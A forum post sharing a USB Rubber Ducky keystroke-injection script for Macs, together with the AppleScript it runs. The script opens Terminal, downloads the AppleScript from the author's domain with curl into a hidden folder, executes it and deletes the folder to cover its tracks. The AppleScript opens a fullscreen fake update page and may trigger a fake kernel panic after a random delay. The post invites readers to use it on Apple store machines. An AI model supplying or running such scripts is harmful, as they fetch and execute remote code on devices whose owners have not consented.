I really loved this idea, so I made one for mac. I have expanded upon the idea a bit and added randomness to giving the kernel panic (pressing the enter key on fakeupdate.net). My implementation requires grabbing an applescript from my domain and creating a hidden folder to copy it to, (tries to) delete the folder for cleanup. If the folder is deleted the only footprint left is an open terminal (probably the most telling part).
Here is the duckyscript:
REM FakeUpdate Mac Version 1.0
REM Opens fakeupdate.net/apple in fullscreen
REM Author: hack MadProps: fachsimpeln and FredHilbert for the idea
DELAY 500
GUI SPACE
DELAY 250
STRING terminal
DELAY 250
ENTER
DELAY 250
STRING mkdir /Users/$USER/.cya
DELAY 250
ENTER
DELAY 250
STRING curl http://www.hacktaviststudios.com/open/open.scpt > /Users/$USER/.cya/open.scpt
DELAY 250
ENTER
DELAY 250
STRING osascript /Users/$USER/.cya/open.scpt
ENTER
STRING rm -rf /Users/$USER/.cya
ENTER
and then the applescript
##############################################
# Author: hack
# Purpose: fuck with people by
# opening up fakeupdate.net/apple in safari
# and maybe having it kernel panic
##############################################
tell application "Safari"
activate # this opens safari
open location "http://www.fakeupdate.net/apple" # this takes us to the fake update page
tell application "System Events" # basically listening for kb commands
delay 1 # small delay; I used it because I have a really old mac and if it takes
# too long to open safari and the page then terminal gets fullscreened
# as well, and that is not the functionality we want
keystroke "f" using {control down, command down} # fullscreen keycode
set x to random number from 0 to 1 # setting random number
if x = 1 # checking if we want to press the enter key
set dt to random number from 10 to 3600 # setting a delay timer from 10 seconds to 3600 seconds, or 60 minutes, or 1 hour
delay dt # this is the delay timer
keystroke return # pressing the enter key
# return "matched" # debugging, remove hashes to uncomment
#else # more # debugging, remove hashes to uncomment
# return "no match"
end if
end tell
end tell
Have fun at your local apple stores